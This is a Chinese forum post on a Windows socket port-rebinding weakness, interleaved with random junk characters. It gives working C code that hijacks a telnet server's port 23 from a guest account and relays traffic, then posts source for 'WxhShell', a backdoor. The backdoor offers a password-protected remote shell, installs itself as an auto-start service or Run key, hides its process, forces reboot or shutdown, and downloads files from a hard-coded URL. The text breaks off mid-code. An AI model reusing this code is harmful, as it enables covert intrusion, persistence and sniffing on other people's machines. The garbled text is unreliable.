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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 63i&e/pv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ><6g-+*k  
$~A\l@xAG  
  saddr.sin_family = AF_INET; 9 &Od7Cn  
\WVY@eB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); FFF7f5F  
[vCZD8"Y8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jLul:* L  
W?12'EG}xa  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hA"z0Fszh  
C9T- 4o1  
  这意味着什么?意味着可以进行如下的攻击: 9>5]y}.{  
L w/ZKXDU2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (]<G)+*  
ou&7v<)x4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QlxlT$o}  
EmcwX4|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2 BwpxV8  
_P]k6z+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  qjvIp-  
s8kkf5bu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |G-o&m"  
C? b_E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &T-udgR9  
:cTwp K  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &nF7CCF  
3^AS8%qG  
  #include TWQ{, B  
  #include O7I|<H/gVE  
  #include !O8vr4=  
  #include    ps?B;P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   nF| m*_DW  
  int main() '^M3g-C[Jg  
  { W?auY_+P  
  WORD wVersionRequested; V0 OT_F  
  DWORD ret; FY]z*=  
  WSADATA wsaData; ldm=uW  
  BOOL val; ma26|N5  
  SOCKADDR_IN saddr; axi%5:I  
  SOCKADDR_IN scaddr; r`/tb^  
  int err; =u`^QE  
  SOCKET s; %S4pkFR  
  SOCKET sc; c=HL 6v<  
  int caddsize; zc-.W2"Hu  
  HANDLE mt; >U$,/_uMNW  
  DWORD tid;   G@QZmuj&KH  
  wVersionRequested = MAKEWORD( 2, 2 ); xpVYNS{c+|  
  err = WSAStartup( wVersionRequested, &wsaData ); 3AD^B\<gB  
  if ( err != 0 ) { Y 1vSwS%{T  
  printf("error!WSAStartup failed!\n"); 7uRXu>h  
  return -1; r0\cgCn  
  } Iih~rWJ  
  saddr.sin_family = AF_INET; {*%'vVv+  
   Ey u?T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 KArnNmJ9  
5ff66CRw  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b9([)8  
  saddr.sin_port = htons(23); n2H2G_-L[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ghiFI<)VY  
  { 8f|  
  printf("error!socket failed!\n"); BY$%gIB6>  
  return -1; '?k*wEu  
  } > c7fg^@  
  val = TRUE; !W8'apG&[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L +s,,k  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A_@#V)D2  
  { (byFr9z  
  printf("error!setsockopt failed!\n"); \^3\_T&6  
  return -1; T;}pMRd%  
  } "Gxf[6B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]ba O{pJi  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DP*[t8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F 3}cVO2bY  
m`-{ V<(M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) avk0pY(n  
  { [N925?--S  
  ret=GetLastError(); I "9S  
  printf("error!bind failed!\n"); 3%xj-7z W  
  return -1; o% !a  
  } @QMMtfeLj  
  listen(s,2); mg*[,_3q33  
  while(1) #G^?4Z a  
  { Y9 , KOs  
  caddsize = sizeof(scaddr); m ^Btr  
  //接受连接请求 B}YB%P_CWs  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0AFjO)  
  if(sc!=INVALID_SOCKET) ~FM5]<X)  
  { m4|9p{E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +kQ$X{+;8  
  if(mt==NULL) Qg9 N?e{z  
  { !5Kv9P79  
  printf("Thread Creat Failed!\n"); Fmk, "qs  
  break; QVI4<Rxg  
  } *^Wx=#w$V  
  } `(EY/EsY  
  CloseHandle(mt); 7 rOziKZ"  
  } +PY LKyS>  
  closesocket(s); W :jC2,s!m  
  WSACleanup(); uJm9h(xq  
  return 0; u:3~Ius  
  }   y'pAhdF  
  DWORD WINAPI ClientThread(LPVOID lpParam) *)ZDN~z7o  
  {  J O`S  
  SOCKET ss = (SOCKET)lpParam; Y dmYE $  
  SOCKET sc; $+)SW {7  
  unsigned char buf[4096]; ,l#Ev{  
  SOCKADDR_IN saddr; B3]q*ERAo  
  long num; ~%B^`s  
  DWORD val; Y'`w.+9  
  DWORD ret; nWfOiw-t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vZmM=hW~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Z~ VOO7|m  
  saddr.sin_family = AF_INET; Lk6UT)C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); tpO%)*  
  saddr.sin_port = htons(23); DDyeN uK  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lO9ML-8C1  
  { )Y+n4UL3NK  
  printf("error!socket failed!\n"); Tf) qd\  
  return -1; 7 /w)^&8  
  } u1xCn\  
  val = 100; MJd!J ]E6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J1T_wA_  
  { & xo,49`!  
  ret = GetLastError(); K>Dn#"{Y  
  return -1; a_P8!pk+5  
  } p?2 \9C4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9^,MC&eb  
  { 5fMVjd  
  ret = GetLastError(); w xKlBx7  
  return -1; ~tWIVj{  
  } DpH+lpC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /-)\$T1d  
  { X]d;x/2  
  printf("error!socket connect failed!\n"); kHygif !I4  
  closesocket(sc); t<wjS|4  
  closesocket(ss); {Z0(V"Q  
  return -1; MwbXZb{#"=  
  } P0VXHE1p  
  while(1) =jXBF.  
  { LK\L}<;1V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  |Hx#Uk#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  @oE^(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WxLbf +0o  
  num = recv(ss,buf,4096,0); ]!CMo+  
  if(num>0) KUJCkwQ  
  send(sc,buf,num,0); \PReQ|[ah  
  else if(num==0) 'KvS I=$  
  break; }C-K0ba7  
  num = recv(sc,buf,4096,0); Nz/PAs7g6  
  if(num>0) dRj2% Q f  
  send(ss,buf,num,0); _y:-_q  
  else if(num==0) y7pwYRY  
  break; #gW"k;7P  
  } [$\KS_,Mn  
  closesocket(ss); Gak@Z!|  
  closesocket(sc); KU$:p^0l;*  
  return 0 ; 8XfhXm>~  
  } 3yGo{uW  
+4L]Z ;k  
'q>2WP|UY9  
========================================================== co^bS;r  
YV%y KD  
下边附上一个代码,,WXhSHELL (KG2X  
;|qbz]t2(  
========================================================== mVXwU](N  
2i9FzpC3  
#include "stdafx.h" y{>T['"@  
,GeW_!Q[  
#include <stdio.h> ]@Z[/z%~04  
#include <string.h> 88x2Hf5I  
#include <windows.h> 79&=MTM  
#include <winsock2.h> osM[Xv  
#include <winsvc.h> M!i["($_  
#include <urlmon.h> hMCf| e.UY  
kz0pX- @b  
#pragma comment (lib, "Ws2_32.lib") , wXixf2  
#pragma comment (lib, "urlmon.lib") g)!d03Qoy  
CwjKz*'[g  
#define MAX_USER   100 // 最大客户端连接数 inHlL  
#define BUF_SOCK   200 // sock buffer ]hMs:$}  
#define KEY_BUFF   255 // 输入 buffer QLxe1[qI  
y3XR:d1cg  
#define REBOOT     0   // 重启 jXPf}{^  
#define SHUTDOWN   1   // 关机 mX/'Fta  
vRkVPkZ6|  
#define DEF_PORT   5000 // 监听端口 r\A|fiL  
1y3)ogL  
#define REG_LEN     16   // 注册表键长度 a#D \8;  
#define SVC_LEN     80   // NT服务名长度 -e\OF3 Td  
%E8HLTEvl  
// 从dll定义API j'x@P+A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \J(kevX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :]icW ^%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &t U&ZH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XE'3p6  
HCKocL/]h  
// wxhshell配置信息 lFp:F5  
struct WSCFG { yxtfyf|9 '  
  int ws_port;         // 监听端口 FM=XoMP q  
  char ws_passstr[REG_LEN]; // 口令 5d;(D i5z  
  int ws_autoins;       // 安装标记, 1=yes 0=no Bx/)Sl@  
  char ws_regname[REG_LEN]; // 注册表键名 rR4?*90vjj  
  char ws_svcname[REG_LEN]; // 服务名 sa}.o ZpQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~ #jnkD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c8N pk<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !<&To  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~\*wt(o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *:% I|5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RDU 'l^  
W!+eJ!Da  
}; }tW1\@ =  
3, 3n  
// default Wxhshell configuration >uo=0=9=  
struct WSCFG wscfg={DEF_PORT, ?e%u[Q0  
    "xuhuanlingzhe", Qe0?n  
    1, [x%8l,O #l  
    "Wxhshell", ]5Q)mWF  
    "Wxhshell", V`0Y p  
            "WxhShell Service", FzOlM-)m   
    "Wrsky Windows CmdShell Service", og1Cj{0  
    "Please Input Your Password: ", tiy#b8  
  1, BC85#sbl  
  "http://www.wrsky.com/wxhshell.exe", sZwa#CQKq  
  "Wxhshell.exe" "u'dd3!  
    }; |RBL5,t^  
f7a"}.D $  
// 消息定义模块 4^*Z[6nt|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |}: D_TX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]vuxeu[cu,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x&N@R?AG1  
char *msg_ws_ext="\n\rExit."; ?btX&:j2P  
char *msg_ws_end="\n\rQuit."; qL$\[(  
char *msg_ws_boot="\n\rReboot..."; l xP!WP  
char *msg_ws_poff="\n\rShutdown..."; j'XND`3  
char *msg_ws_down="\n\rSave to "; ?i\$U'2*z3  
5r0Sl89J  
char *msg_ws_err="\n\rErr!"; QvzE:]pyi  
char *msg_ws_ok="\n\rOK!"; V.!z9AQ  
618bbftx{  
char ExeFile[MAX_PATH]; h  m(  
int nUser = 0; 6f J5Y iQ  
HANDLE handles[MAX_USER]; S+pm@~xe  
int OsIsNt; Z"G?+gM@  
!/"y  
SERVICE_STATUS       serviceStatus; QjsN7h&%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fM<g++X  
6w0r)  
// 函数声明 VjSA& R  
int Install(void); Y2>*' nU  
int Uninstall(void); ibgF,N  
int DownloadFile(char *sURL, SOCKET wsh); ^p~3H  
int Boot(int flag); 8 =3$U+  
void HideProc(void); z"!=A}i  
int GetOsVer(void); jAD{?/RB}  
int Wxhshell(SOCKET wsl); M'xG.'  
void TalkWithClient(void *cs); =(,dI [v  
int CmdShell(SOCKET sock); j2:A@ a6  
int StartFromService(void); =!2(7Nr  
int StartWxhshell(LPSTR lpCmdLine); `"|u NVn  
cs)z!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -\~x^5K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 28o!>*  
7/Mhz{o;W  
// 数据结构和表定义 n 4EZy<~m  
SERVICE_TABLE_ENTRY DispatchTable[] = _lG\_6oJ,  
{ wEIAU  
{wscfg.ws_svcname, NTServiceMain}, g8;JpPw  
{NULL, NULL} {FM:\/  
}; YRP$tz+ _  
QLyBP!X-  
// 自我安装 Ks^EGy+O:-  
int Install(void) 96CC5  
{ e@L7p,  
  char svExeFile[MAX_PATH]; Edav }z  
  HKEY key; n5 jzVv  
  strcpy(svExeFile,ExeFile); Gw Z(3  
wz 5*?[4  
// 如果是win9x系统,修改注册表设为自启动 t>%J3S>'ZV  
if(!OsIsNt) { r1X\$&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J9/}ZD^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TfqQh!Y  
  RegCloseKey(key); L-(.v*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T=->~@5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c*x5t"{  
  RegCloseKey(key); W%cJ#R[o  
  return 0; 'x!5fAy  
    } ~m.@{Do0p  
  } )k|_ CW~  
} m|+g_JZ  
else { 3.s.&^  
,_2ZKO/k$  
// 如果是NT以上系统,安装为系统服务 Q#rj>+?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2N:|BO>  
if (schSCManager!=0) -:o4|&g<*  
{ {z/Y~rf  
  SC_HANDLE schService = CreateService X,8 ]g.<  
  ( (-U6woB6o  
  schSCManager, BSB;0OM  
  wscfg.ws_svcname, 0? QTi(  
  wscfg.ws_svcdisp, ix]t>2r  
  SERVICE_ALL_ACCESS, s!j[Ovtx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v5;V$EGD&  
  SERVICE_AUTO_START, WD7IF+v  
  SERVICE_ERROR_NORMAL, >FabmIcC  
  svExeFile, X]OVc<F  
  NULL, Qs5^kddz=  
  NULL, 3B5GsI  
  NULL, Yq?FiE0  
  NULL, k*3F7']8  
  NULL ``Wf%~  
  ); RrGFGn{  
  if (schService!=0) lU[" ZFP  
  { IE|$mUabm  
  CloseServiceHandle(schService); =k\V~8XZ  
  CloseServiceHandle(schSCManager); ZCAdCKX|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wjm_bEi  
  strcat(svExeFile,wscfg.ws_svcname); W5^m[,GU'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7xIXFuu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8(Ab NQ  
  RegCloseKey(key); 5QR=$?K  
  return 0; Pu=,L#+FN  
    } 8AK=FX&@&  
  } M(a lc9tn  
  CloseServiceHandle(schSCManager); <n)J~B^  
} <B?@,S>  
} c05kHB$O  
 TM1isZ  
return 1; +; P8QZK6  
} 7 )`U%}R  
2+7r Lf`l  
// 自我卸载 ")t ^!x(v  
int Uninstall(void) 9BJP|L%q  
{ 5*ip}wA  
  HKEY key; .S l{m[nV8  
Ca&5"aki  
if(!OsIsNt) { p=7{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f.%mp$~T  
  RegDeleteValue(key,wscfg.ws_regname); L|wD2iw  
  RegCloseKey(key); BB?vc( d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O]\6Pv@N  
  RegDeleteValue(key,wscfg.ws_regname); b1(7<o  
  RegCloseKey(key); ]ZD W+<  
  return 0; "%o,P/<X  
  } 4$);x/ a  
} WU wH W  
} (h} 5*u%h  
else { )"W(0M] >  
CWP),]#n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZPktZ  
if (schSCManager!=0) 9w^lRbn  
{ |\?mX=a.y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i `m&X6)\j  
  if (schService!=0) BB x359  
  { qXOWCYqs  
  if(DeleteService(schService)!=0) { C 2f=9n/  
  CloseServiceHandle(schService); lO (MF  
  CloseServiceHandle(schSCManager); 'qL:7  
  return 0; +-DF3(  
  } ~  4v  
  CloseServiceHandle(schService); DzfgPY_Py  
  } kLsp0% 2  
  CloseServiceHandle(schSCManager); )\S3Q  
} }V:B,:  
} Nl4,c[$C  
HE;}B!>  
return 1; ^tMb"WO  
} @q98ac*{  
s6q6)RD"  
// 从指定url下载文件 CIxa" MW  
int DownloadFile(char *sURL, SOCKET wsh)  ?z hw0  
{ lOp7rW]$  
  HRESULT hr; x7<2K(  
char seps[]= "/"; ',WnT:  
char *token; O'm5k l  
char *file; 6'{/Ote  
char myURL[MAX_PATH]; 8a,uM :  
char myFILE[MAX_PATH]; @ 0'j;")XV  
3X;k c>  
strcpy(myURL,sURL); &RJ*DAmL  
  token=strtok(myURL,seps); t@&U2JaL>W  
  while(token!=NULL) diz=|g=w  
  { *:5S*E&}V  
    file=token; URd0|?t9^L  
  token=strtok(NULL,seps); _%@dlT?  
  } D-/q-=zd  
H zMr  
GetCurrentDirectory(MAX_PATH,myFILE); ]c9\[Kdq}H  
strcat(myFILE, "\\"); u ?-|sv*  
strcat(myFILE, file); )+ V)]dS@%  
  send(wsh,myFILE,strlen(myFILE),0); d-sT+4o}  
send(wsh,"...",3,0); 5%_aN_1?ef  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E/3i _R  
  if(hr==S_OK) WYUel4Z  
return 0; i V$TvD+  
else ^ Fnag]qQ  
return 1; th1;Ym+Ze  
Ao U Pq  
} :R{pV7<O  
)ZW[$:wA  
// 系统电源模块 I}jem  
int Boot(int flag) B? aMX,1  
{ *)(S}D\94  
  HANDLE hToken; @DNwzdP  
  TOKEN_PRIVILEGES tkp; i91 =h   
q$;j1X^  
  if(OsIsNt) { *mJ\Tzc)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oj(st{,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k\TP3*fD  
    tkp.PrivilegeCount = 1; i'QR-B&Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3#0y.. F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :jf/$]p  
if(flag==REBOOT) { -q]5@s/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iYf)FPET  
  return 0; Pav W@  
} L)n_  Q  
else { ;:,U]@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  6oI/*`>  
  return 0; D#D55X^6*  
} 1u8hnG  
  } R.\]JvqO  
  else { vqAEF^HYry  
if(flag==REBOOT) { o%,?v 9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =axuLP))  
  return 0; 8 (ot<3(D  
} k. NJ+  
else { .Y0O.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lNsdbyV'  
  return 0; [1Aoj|  
} i6f42]Jy  
} lbX YWZ~7  
)MF 4b ][  
return 1; njZJp|y6  
} }H<Z`3_U%  
))dw[Xa  
// win9x进程隐藏模块 'd|!Hr<2  
void HideProc(void) JeN]sK)8x  
{ w59q* 2  
764eXh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RU=\eD  
  if ( hKernel != NULL ) %{7*o5`  
  { OFBEJacy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l=t/"M=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j sD]v)LB  
    FreeLibrary(hKernel); bIlNA)g  
  }  iDx(qdla  
+_kA&Q(t  
return; sv&^sARN  
} =1k%T{>  
2 6DX4  
// 获取操作系统版本 Rc3!u^?u  
int GetOsVer(void) EP"Z58&$R  
{ <.Pt%Kg^BS  
  OSVERSIONINFO winfo; ]R>NmjAI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9XYm8g'X  
  GetVersionEx(&winfo); _!VtM#G[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YXZP-=fB>i  
  return 1; )-o jm$  
  else tcnO`0moK  
  return 0; B=;kC#Emtf  
} kI9I{ &J&  
Dn@ZS_f  
// 客户端句柄模块 C7G,M  
int Wxhshell(SOCKET wsl) +Adk1N8  
{ +ue1+#  
  SOCKET wsh; @"BhKUoV$K  
  struct sockaddr_in client; KO7&dM  
  DWORD myID; f^*Yqa  
>e& L"  
  while(nUser<MAX_USER) 0;@>jo6,!  
{ kW2DKr-[  
  int nSize=sizeof(client); P9qIq]M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c_S~{a44Ud  
  if(wsh==INVALID_SOCKET) return 1; |U;O HS  
{Q37a=;,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _k26(rdI@-  
if(handles[nUser]==0) +v 3: \#  
  closesocket(wsh); :N_]*>  
else fz`)CWo:  
  nUser++; qEXN} Pq<  
  } ?T_MP"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WA,D=)GP  
[520!JhZY  
  return 0; qzJ<9H  
} >W8"Ar  
KUYwc@si\  
// 关闭 socket >V?0#f45@  
void CloseIt(SOCKET wsh) lH`TF_  
{ ]vB\yQE  
closesocket(wsh); aP  
nUser--; 1^WGJ"1  
ExitThread(0); YK3>M"58  
} Kt_oo[ey{  
:'Qiwf&  
// 客户端请求句柄 }R['Zoh4I  
void TalkWithClient(void *cs) #,d~t  
{ K4!-%d$  
}~I!'J#)  
  SOCKET wsh=(SOCKET)cs;  h$l/wn  
  char pwd[SVC_LEN]; f)/Z7*Z  
  char cmd[KEY_BUFF]; C:J;'[,S  
char chr[1]; .Ix3wR9  
int i,j; :G1ddb&0+  
^}=)jLS  
  while (nUser < MAX_USER) { 6^"QABc  
+'?Qph6o,7  
if(wscfg.ws_passstr) { ^&eF916H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a+^` +p/5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S:_Ms{S  
  //ZeroMemory(pwd,KEY_BUFF); %F>~2g?$  
      i=0; wX"hUu  
  while(i<SVC_LEN) { 4qOzjEQ  
te+}j7SU  
  // 设置超时 *DF3juf~  
  fd_set FdRead; b&z#ZY  
  struct timeval TimeOut; \Z]+j@9  
  FD_ZERO(&FdRead); uYUFxm  
  FD_SET(wsh,&FdRead); \HeJc:^  
  TimeOut.tv_sec=8; y7,fFUKl  
  TimeOut.tv_usec=0; %v0M~J}+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;t&q|}x"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v/`D0g-uX)  
*'/,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?Z#N9Z~\  
  pwd=chr[0]; '$tCAS  
  if(chr[0]==0xd || chr[0]==0xa) { ^{+ry<rS>  
  pwd=0; }T?X6LA$I8  
  break; bwsKdh  
  } tDK@?PfKz  
  i++; m!V,W*RNr  
    } r6DLShP-Ur  
MKHnA|uQ](  
  // 如果是非法用户,关闭 socket @?,x3\N-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /7AHd ;  
} #I/P9)4  
9z7_D_yN2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L< F8+a7i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KYFKH+d>m  
my 'nDi  
while(1) { .a%6A#<X  
mrTf[ "K  
  ZeroMemory(cmd,KEY_BUFF); 2f,8Jnia  
S,&LH-ps   
      // 自动支持客户端 telnet标准   6$`<Y?  
  j=0; O=0p}{3l  
  while(j<KEY_BUFF) { R3>q]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /JD}b[J$  
  cmd[j]=chr[0]; BIx*t9wA  
  if(chr[0]==0xa || chr[0]==0xd) { B>2=IZ  
  cmd[j]=0; _H+]G"k/r  
  break; A2'i~_e  
  } =M\yh,s!  
  j++; -)V0D,r$[  
    } i).%GMv*r  
o|xf2k  
  // 下载文件 LO`0^r  
  if(strstr(cmd,"http://")) { !sT>]e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 529; _|  
  if(DownloadFile(cmd,wsh)) VUP|j/qD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A4j ,]hOD  
  else r_7%|T8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jFSR+mP!  
  } )."ob=m  
  else { ^twyy9VR  
IFLphm5  
    switch(cmd[0]) { Gs: g  
  $Itmm/M  
  // 帮助 (j8*F Bq  
  case '?': { '(]Wtx%9"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d6i}xnmC  
    break; [@K'}\U^+  
  } [v1$L p  
  // 安装 <&eJIz=  
  case 'i': { vn.5X   
    if(Install()) 6#=Iv X4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M"z=114  
    else 4H 6t" X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O"\4[HE^  
    break; igu1s}F  
    } g`y9UYeh  
  // 卸载 X}#vt?mu  
  case 'r': { B)q}]Qn  
    if(Uninstall()) )!(gS,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  (?Ku-k  
    else 7w73,r/D8A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N XB8u6  
    break; CI*JedO]  
    } {aE[h[=r  
  // 显示 wxhshell 所在路径 \3vQXt\dM$  
  case 'p': { Q<>u) %92@  
    char svExeFile[MAX_PATH]; L,zx\cj?z  
    strcpy(svExeFile,"\n\r"); <EnmH/C.  
      strcat(svExeFile,ExeFile); d.}65{F,x  
        send(wsh,svExeFile,strlen(svExeFile),0); +v/y{8Fu  
    break; J{/hc} $  
    } @<K<"`~H  
  // 重启 f@sC~A. 9\  
  case 'b': { 'v'[_(pq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O+!4KNN.-  
    if(Boot(REBOOT)) -#%M,Qb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >s%Db<(P=  
    else { ]MCH]/  
    closesocket(wsh); WD4"ft  
    ExitThread(0); X au %v5r  
    } #>yOp *  
    break; +.djC3^:  
    } k3&68+  
  // 关机 h.-L_!1B7  
  case 'd': { 2Ys=/mh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z +/3rd  
    if(Boot(SHUTDOWN)) 5 CnNp?.t^  
